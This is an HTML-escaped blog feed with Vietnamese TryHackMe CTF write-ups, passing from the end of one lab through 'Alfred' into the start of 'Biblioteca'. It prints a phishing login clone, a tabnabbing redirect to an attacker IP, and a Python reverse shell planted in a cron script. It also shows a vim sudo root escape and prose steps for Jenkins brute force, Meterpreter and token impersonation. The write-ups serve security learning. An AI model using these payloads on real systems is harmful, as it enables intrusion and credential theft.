&lt;h3&gt;Gobuster scan&lt;/h3&gt;
&lt;p&gt;Dùng công cụ &lt;code&gt;gobuster&lt;/code&gt; mình còn tìm ra được &lt;code&gt;/admin&lt;/code&gt; nhưng không có quyền truy cập.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;/admin                (Status: 301) [Size: 314] [--&gt; http://10.201.102.54/admin/]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nhưng bên trong &lt;code&gt;/admin&lt;/code&gt; mình phát hiện một trang &lt;code&gt;login&lt;/code&gt; dành cho &lt;code&gt;admin&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;/login.php            (Status: 200) [Size: 1158]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Lỗ hổng target trên thẻ a&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.mg8xVOAY_UEYf3.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Truy cập vào website, mình được chuyển tới trang &lt;code&gt;login&lt;/code&gt; của người dùng.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.aK0UlNl3_HBOVv.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình đăng ký tài khoản và vào được một trang nếu mình nhập &lt;code&gt;url&lt;/code&gt; và &lt;code&gt;submit&lt;/code&gt;, nó sẽ xuất hiện một thẻ &lt;code&gt;a&lt;/code&gt; chuyển hướng đến url đó.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.BK2e8m4m_1bXqvV.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Trang này còn nói rằng &lt;code&gt;Tất cả các link đều được review bởi admin, người dựng lên website này!&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Có một thông tin nho nhỏ mà thử thách này đưa ra.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;To hack into this machine, you must look at the source and focus on the target.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nhìn kỹ vào mã nguồn thì &lt;code&gt;target=&apos;_blank&apos;&lt;/code&gt; chính là vấn đề.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.0yT9215z_wRnrf.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Đây là thứ đã gây ra nhiều vụ lừa (phishing) bằng cách ấn vào link và chuyển hướng đến trang giả mạo.&lt;/p&gt;
&lt;p&gt;Cụ thể kỹ thuật này sử dụng &lt;code&gt;window.opener.location = &apos;&amp;#x3C;link web giả mạo&gt;&apos;;&lt;/code&gt;, khi trang đích chứa js này nó sẽ chuyển hướng trang gốc (cụ thể ở đây là trang chứa &lt;code&gt;target=&apos;_blank&apos;&lt;/code&gt;) sang link web giả mạo.&lt;/p&gt;
&lt;h2&gt;Flag 1&lt;/h2&gt;
&lt;h3&gt;Truy cập người dùng daniel&lt;/h3&gt;
&lt;p&gt;Từ các thông tin thu thập được, mình copy source trang login của admin lúc nãy tìm được nhằm mục đích host một trang login giả mạo và lừa admin đăng nhập vào đây để lấy thông tin đăng nhập.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html lang=&quot;en&quot;&gt;
&amp;#x3C;head&gt;
    &amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;
    &amp;#x3C;title&gt;Login&amp;#x3C;/title&gt;
    &amp;#x3C;link rel=&quot;stylesheet&quot; href=&quot;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css&quot;&gt;
    &amp;#x3C;style&gt;
        body{ font: 14px sans-serif; }
        .wrapper{ width: 360px; padding: 20px; }
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;div class=&quot;wrapper&quot;&gt;
        &amp;#x3C;h2&gt;Admin Login&amp;#x3C;/h2&gt;
        &amp;#x3C;p&gt;Please fill in your credentials to login.&amp;#x3C;/p&gt;


        &amp;#x3C;form action=&quot;/admin/login.php&quot; method=&quot;post&quot;&gt;
            &amp;#x3C;div class=&quot;form-group&quot;&gt;
                &amp;#x3C;label&gt;Username&amp;#x3C;/label&gt;
                &amp;#x3C;input type=&quot;text&quot; name=&quot;username&quot; class=&quot;form-control &quot; value=&quot;&quot;&gt;
                &amp;#x3C;span class=&quot;invalid-feedback&quot;&gt;&amp;#x3C;/span&gt;
            &amp;#x3C;/div&gt;    
            &amp;#x3C;div class=&quot;form-group&quot;&gt;
                &amp;#x3C;label&gt;Password&amp;#x3C;/label&gt;
                &amp;#x3C;input type=&quot;password&quot; name=&quot;password&quot; class=&quot;form-control &quot;&gt;
                &amp;#x3C;span class=&quot;invalid-feedback&quot;&gt;&amp;#x3C;/span&gt;
            &amp;#x3C;/div&gt;
            &amp;#x3C;div class=&quot;form-group&quot;&gt;
                &amp;#x3C;input type=&quot;submit&quot; class=&quot;btn btn-primary&quot; value=&quot;Login&quot;&gt;
            &amp;#x3C;/div&gt;
            &amp;#x3C;br&gt;
        &amp;#x3C;/form&gt;
    &amp;#x3C;/div&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mình host thêm một trang để lừa admin bấm vào đây để chuyển hướng đến trang &lt;code&gt;login.html&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
    &amp;#x3C;title&gt;Just...&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;

&amp;#x3C;body&gt;
    Just nothing...
&amp;#x3C;/body&gt;
&amp;#x3C;script&gt;window.opener.location = &apos;http://10.17.67.204:8000/login.html&apos;;&amp;#x3C;/script&gt;

&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Khi mình &lt;code&gt;submit&lt;/code&gt; url &lt;code&gt;http://10.17.67.204/macilious.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Nếu admin truy cập vào url này, họ sẽ được chuyển tới trang chứa mã javascript của mình.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.CPpvktr0_Z1IB19d.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Và trang gốc của họ sẽ chuyển thành trang đăng nhập admin.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.CHWIeGmO_19X76r.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Đồng thời mình cũng bắt các gói tin trên mạng này, khi admin chỉ nghĩ vì một lý do nào đó mà họ bị đăng xuất nên họ thực hiện đăng nhập lại thì mình đã bắt được gói tin chứa thông tin đăng nhập.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.CsvXswEX_Z1ITmqC.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Dùng thông tin đăng nhập này SSH vào người dùng &lt;code&gt;daniel&lt;/code&gt; và mình tìm thấy flag tại thư mục &lt;code&gt;home&lt;/code&gt; của người dùng &lt;code&gt;adrian&lt;/code&gt; nhưng không có quyền truy cập.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.CY0m_laQ_2itDDS.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình có quyền sửa file &lt;code&gt;query.py&lt;/code&gt; vì thuộc group &lt;code&gt;administrators&lt;/code&gt; và file này có chức năng kiểm tra trạng thái website và ghi vào file &lt;code&gt;site_status.txt&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from datetime import datetime
import requests

now = datetime.now()

r = requests.get(&apos;http://127.0.0.1/&apos;)
if r.status_code == 200:
    f = open(&quot;site_status.txt&quot;,&quot;a&quot;)
    dt_string = now.strftime(&quot;%d/%m/%Y %H:%M:%S&quot;)
    f.write(&quot;Site is Up: &quot;)
    f.write(dt_string)
    f.write(&quot;\n&quot;)
    f.close()
else:
    f = open(&quot;site_status.txt&quot;,&quot;a&quot;)
    dt_string = now.strftime(&quot;%d/%m/%Y %H:%M:%S&quot;)
    f.write(&quot;Check Out Site: &quot;)
    f.write(dt_string)
    f.write(&quot;\n&quot;)
    f.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dựa vào nội dung file &lt;code&gt;site_status.txt&lt;/code&gt; thì đây là một &lt;code&gt;crontab&lt;/code&gt; được thực hiện mỗi 1 phút&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/11.CIlB0Oc6_1SACrw.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Truy cập người dùng adrian và flag&lt;/h3&gt;
&lt;p&gt;Từ đó mình có thể dựa vào file này để mở một &lt;code&gt;reverse shell&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Mình thay đổi nội dung file như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import socket,os,pty

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((&quot;10.17.67.204&quot;,7304))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn(&quot;/bin/sh&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó mình mở &lt;code&gt;netcat&lt;/code&gt; listener tại port &lt;code&gt;7304&lt;/code&gt;, đợi 1 phút để máy thực thi file kết nối và mình đã đọc được flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/12.B3FvLB_V_Z23lWah.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Flag 2&lt;/h2&gt;
&lt;p&gt;Mình &lt;code&gt;stabilizing&lt;/code&gt; shell để linh hoạt hơn.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/13.C1C59g2v_65CVG.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Sudo Misconfiguration (Vim)&lt;/h3&gt;
&lt;p&gt;Kiểm tra với lệnh &lt;code&gt;sudo -l&lt;/code&gt; mình thấy người dùng này có thể sử dụng &lt;code&gt;vim&lt;/code&gt; với quyền sudo không cần mật khẩu.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/14.BgN2CkO2_ZsuELa.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Để khai thác, tại &lt;a href=&quot;https://gtfobins.github.io/gtfobins/vim/&quot;&gt;gtfobins&lt;/a&gt; có hướng dẫn có thể dùng &lt;code&gt;vim&lt;/code&gt; để thực thi code &lt;code&gt;python&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Truy cập người dùng root và flag&lt;/h3&gt;
&lt;p&gt;Với lệnh &lt;code&gt;vim -c &apos;:py3 import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, &quot;reset; exec sh&quot;)&apos;&lt;/code&gt; mình đã có thể leo thang đặc quyền lên &lt;code&gt;root&lt;/code&gt; và tìm được flag tại thư mục &lt;code&gt;/root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/15.Co432cpA_1Y8EyU.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.mxcPjb_H.png"/><enclosure url="/_astro/thumbnail.mxcPjb_H.png"/></item><item><title>Alfred</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/alfred</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/alfred</guid><description>Khai thác Jenkins để chiếm quyền truy cập ban đầu, sau đó leo thang đặc quyền thông qua lỗ hổng token xác thực.</description><pubDate>Thu, 11 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;p&gt;Vì đây là ứng dụng Windows nên sẽ sử dụng &lt;a href=&quot;https://github.com/samratashok/nishang&quot;&gt;&lt;em&gt;Nishang&lt;/em&gt;&lt;/a&gt;. Repository này chứa tập hợp các script hữu ích để chiếm quyền truy cập ban đầu, thu thập thông tin và leo thang đặc quyền. Trong trường hợp này sẽ kết hợp sử dụng &lt;a href=&quot;https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1&quot;&gt;reverse shell script&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tryhackme.com/room/alfred&quot;&gt;Link lab&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Truy cập ban đầu&lt;/h2&gt;
&lt;p&gt;Sử dụng công cụ &lt;code&gt;nmap&lt;/code&gt; mình phát hiện 3 port TCP đang mở, trong đó có 2 port đang chạy dịch vụ web.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 7.5 # [!code highlight:1]
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn&apos;t have a title (text/html).
3389/tcp open  ssl/ms-wbt-server? # [!code highlight:1]
| ssl-cert: Subject: commonName=alfred
| Not valid before: 2025-09-10T04:19:14
|_Not valid after:  2026-03-12T04:19:14
|_ssl-date: 2025-09-11T04:23:03+00:00; 0s from scanner time.
8080/tcp open  http               Jetty 9.4.z-SNAPSHOT # [!code highlight:1]
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn&apos;t have a title (text/html;charset=utf-8).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Đối với port &lt;code&gt;80&lt;/code&gt;, kiểm tra sơ qua thì mình không tìm thấy gì đặc biệt.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.VRPxbUIH_Z1Qi4Ys.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tại port &lt;code&gt;8080&lt;/code&gt; xuất hiện một trang đăng nhập, kiểm tra sơ bộ thì không có lỗ hổng gì nên mình sử dụng &lt;code&gt;Burp Suite&lt;/code&gt; để brute force tài khoản.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.CcctbLJ6_Hmff4.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Các request có thông tin đăng nhập sai sẽ được chuyển hướng đến &lt;code&gt;/loginError&lt;/code&gt; nên mình sẽ thêm xử lý để phân biệt giữa request đăng nhập không thành công và đăng nhập thành công.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.BiFkCDjV_IxYxQ.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Các thành phần mình thực hiện brute force như sau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/danielmiessler/SecLists/blob/master/Usernames/top-usernames-shortlist.txt&quot;&gt;Danh sách Usernames&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.txt&quot;&gt;Danh sách Passwords&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cluster bomb attack:&lt;/strong&gt; loại này sẽ brute force đối với mỗi dòng của danh sách 1 sẽ thử với tất cả các dòng của danh sách 2.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Khi brute force sẽ có một request không chuyển hướng đến &lt;code&gt;/loginError&lt;/code&gt; mà chuyển hướng đến &lt;code&gt;/&lt;/code&gt; và đây cũng là &lt;code&gt;username&lt;/code&gt; và &lt;code&gt;password&lt;/code&gt; hợp lệ.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.C93pkBZE_jgHV.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Dùng nó để đăng nhập thì mình được chuyển hướng đến dashboard của &lt;code&gt;admin&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.Tkl-VSby_Z1ogAjv.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khám phá một xíu thì mình phát hiện bên trong có một trang cho phép thực thi lệnh trên hệ thống và trả kết quả.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.aGolS3Am_1N36E8.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình thực thi lệnh sau để mở &lt;code&gt;reverse shell&lt;/code&gt;, lệnh này có 2 nhiệm vụ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Đầu tiên kết nối đến &lt;code&gt;Simple HTTP Server&lt;/code&gt; của mình và tải script thực hiện kết nối ngược (reverse shell) về máy mình.&lt;/li&gt;
&lt;li&gt;Tiếp theo thực thi script đó và bắt đầu kết nối.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.CLhsGkdG_1z8raD.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Simple HTTP Server&lt;/code&gt; mình mở tại port &lt;code&gt;6565&lt;/code&gt; khi thực thi lệnh sẽ thấy script đã được tải.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.-qfbhxym_Z1yubld.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Đồng thời khi tải xong, tại &lt;code&gt;netcat&lt;/code&gt; mình đang mở listener ở port &lt;code&gt;7304&lt;/code&gt; cũng đã thực hiện kết nối thành công và mình đã chiếm được quyền truy cập ban đầu ở người dùng &lt;code&gt;bruce&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/9.Dxy1gnLg_ESyMt.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Flag được đặt tại thư mục &lt;code&gt;Desktop&lt;/code&gt; của người dùng này.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.BVAsQOQ3_Z1NSirM.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Chuyển đổi shell&lt;/h2&gt;
&lt;p&gt;Để có thể linh hoạt hơn khi sử dụng shell, thay vì dùng &lt;code&gt;raw shell&lt;/code&gt; mình sẽ sử dụng &lt;code&gt;Metasploit&lt;/code&gt; để nâng cấp lên &lt;code&gt;meterpreter shell&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Lệnh mà mình sẽ thực thi trên web sẽ tải về một file độc hại từ máy mình.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/11.TQGMugW7_Z2cM3ws.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Trước đó, mình sử dụng &lt;code&gt;msfvenom&lt;/code&gt; tạo một file độc hại sử dụng để kết nối ngược về máy mình và nâng cấp lên &lt;code&gt;meterpreter shell&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/12.DcV6E4ft_Z1fybS6.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khi server web thực thi và tải về file độc hại mà mình đã tạo, mình sẽ tạo một &lt;code&gt;listener&lt;/code&gt; bằng công cụ &lt;code&gt;msfconsole&lt;/code&gt; với module &lt;code&gt;exploit/multi/handler&lt;/code&gt; kèm payload &lt;code&gt;windows/meterpreter/reverse_tcp&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/13.CXDBjRY__2u0I5Y.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mọi thứ đã chuẩn bị xong, mình quay trở lại session &lt;code&gt;netcat&lt;/code&gt; lúc nãy và chạy file &lt;code&gt;rv-shell.exe&lt;/code&gt; &lt;strong&gt;&lt;em&gt;(Start-Process rv-shell.exe)&lt;/em&gt;&lt;/strong&gt; mà server đã tải về.&lt;/p&gt;
&lt;p&gt;Khi file này được thực thi, một &lt;code&gt;reverse shell&lt;/code&gt; đã kết nối thành công và được nâng cấp lên &lt;code&gt;meterpreter shell&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/14.Dk11RT2P_ZUyXmD.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Leo thang đặc Quyền&lt;/h2&gt;
&lt;p&gt;Bây giờ, mình sẽ dùng kỹ thuật &lt;code&gt;mạo danh token&lt;/code&gt; để chiếm quyền &lt;code&gt;SYSTEM&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Windows sử dụng các token để đảm bảo các tài khoản có đúng quyền để thực hiện các hành động cụ thể. Token thường được gán cho tài khoản khi người dùng đăng nhập hoặc được xác thực. Điều này thường được thực hiện bởi &lt;code&gt;lsass.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Access token này bao gồm:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User SIDs (Security Identifier).&lt;/li&gt;
&lt;li&gt;Group SIDs&lt;/li&gt;
&lt;li&gt;Đặc quyền&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Đọc thêm &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens&quot;&gt;tại đây&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Có 2 loại access token:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Primary access tokens: được liên kết với tài khoản người dùng và được tạo khi đăng nhập.&lt;/li&gt;
&lt;li&gt;Impersonation tokens: cho phép một tiến trình cụ thể (hoặc luồng trong tiến trình) có quyền truy cập vào các tài nguyên bằng cách sử dụng token của người dùng khác.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Đối với impersonation token, có nhiều cấp độ khác nhau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SecurityAnonymous: người dùng hiện tại không thể mạo danh người dùng khác.&lt;/li&gt;
&lt;li&gt;SecurityIdentification: người dùng hiện tại có thể lấy danh tính và đặc quyền của người dùng khác nhưng không thể mạo danh.&lt;/li&gt;
&lt;li&gt;SecurityImpersonation: người dùng có thể mạo danh bối cảnh bảo mật trên hệ thống cục bộ (local system).&lt;/li&gt;
&lt;li&gt;SecurityDelegation: người dùng có thể mạo danh bối cảnh bảo mật trên hệ thống từ xa (remote system).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Các đặc quyền của một tài khoản (được cấp cho tài khoản khi được tạo hoặc kế thừa từ một nhóm) cho phép người dùng thực hiện các hành động cụ thể. Một số đặc quyền bị làm dụng phổ biến nhất:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SeImpersonatePrivilege&lt;/li&gt;
&lt;li&gt;SeAssignPrimaryPrivilege&lt;/li&gt;
&lt;li&gt;SeTcbPrivilege&lt;/li&gt;
&lt;li&gt;SeBackupPrivilege&lt;/li&gt;
&lt;li&gt;SeRestorePrivilege&lt;/li&gt;
&lt;li&gt;SeCreateTokenPrivilege&lt;/li&gt;
&lt;li&gt;SeLoadDriverPrivilege&lt;/li&gt;
&lt;li&gt;SeTakeOwnershipPrivilege&lt;/li&gt;
&lt;li&gt;SeDebugPrivilege&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Đọc thêm &lt;a href=&quot;https://www.exploit-db.com/papers/42556&quot;&gt;tại đây&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Sử dụng lệnh &lt;code&gt;whoami /priv&lt;/code&gt; mình nhận được một số đặc quyền đang được cho phép như:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SeDebugPrivilege&lt;/li&gt;
&lt;li&gt;SeChangeNotifyPrivilege&lt;/li&gt;
&lt;li&gt;SeImpersonatePrivilege&lt;/li&gt;
&lt;li&gt;SeCreateGlobalPrivilege&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/15.m5lZeGZQ_Z2ayUtu.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sử dụng module &lt;code&gt;incognito&lt;/code&gt; để khai thác lỗ hổng này.&lt;/p&gt;
&lt;p&gt;Mình liệt kê các tokens hiện có thì phát hiện token &lt;code&gt;BUILTIN\Administrators&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/16.BjUEKrZd_2aDDVF.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sau đó mình thực hiện mạo danh token này và chiếm được quyền &lt;code&gt;SYSTEM&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/17.RUnw83rO_ZP5S6i.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Flag sẽ nằm tại &lt;code&gt;c:\Windows\System32\config\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/18.4JdxaWO__2bBR3f.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Điều này là do cách Windows xử lý các quyền - nó sử dụng &lt;strong&gt;Primary Token&lt;/strong&gt; của tiến trình và không phải là &lt;strong&gt;Impersonation token&lt;/strong&gt; để có thể xác định tiến trình có thể hoặc không thể làm gì.&lt;/p&gt;
&lt;p&gt;Phải đảm bảo đang &lt;code&gt;migrate&lt;/code&gt; vào tiến trình với quyền tương ứng.&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.BB78hUN3.png"/><enclosure url="/_astro/thumbnail.BB78hUN3.png"/></item><item><title>Biblioteca</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/biblioteca</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/biblioteca</guid><description>Shhh. Hãy thật, thật yên lặng, không la hét trong thư viện</description><pubDate>Wed, 10 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Thu thập thông tin&lt;/h2&gt;
&lt;h3&gt;Nmap scan&lt;/h3&gt;
&lt;p&gt;Thực hiện scan port, mình phát hiện port &lt;code&gt;SSH&lt;/code&gt; và &lt;code&gt;HTTP&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) # [!code highlight:1]
| ssh-hostkey: 
|   3072 3a:a5:a9:5d:99:42:02:dd:dc:7e:7e:5b:d8:1c:02:e2 (RSA)
|   256 dc:6a:a1:d9:92:8c:82:ac:a8:48:f1:08:ca:77:29:96 (ECDSA)
|_  256 a4:1d:94:f6:a2:b6:fb:da:10:e9:69:db:c5:31:8a:26 (ED25519)
8000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10) # [!code highlight:1]
|_http-title:  Login 
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Truy cập vào port &lt;code&gt;8000&lt;/code&gt; mình được chuyển đến trang &lt;code&gt;login&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.DCw4LfDv_Z2jb3T1.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Kiểm tra SQL Injection&lt;/h3&gt;
&lt;p&gt;Khi mình chèn một ký tự đặc biệt vào trường &lt;code&gt;username&lt;/code&gt; thì website trả về lỗi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.DYKFJmQM_ZECzYx.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình thử với một payload &lt;code&gt;SQL Injection&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.CkBIH5IK_2pI0iV.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Kết quả là mình vào được &lt;code&gt;index page&lt;/code&gt; với tên người dùng &lt;code&gt;smokey&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.CpxB6t61_Z1vC6I1.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
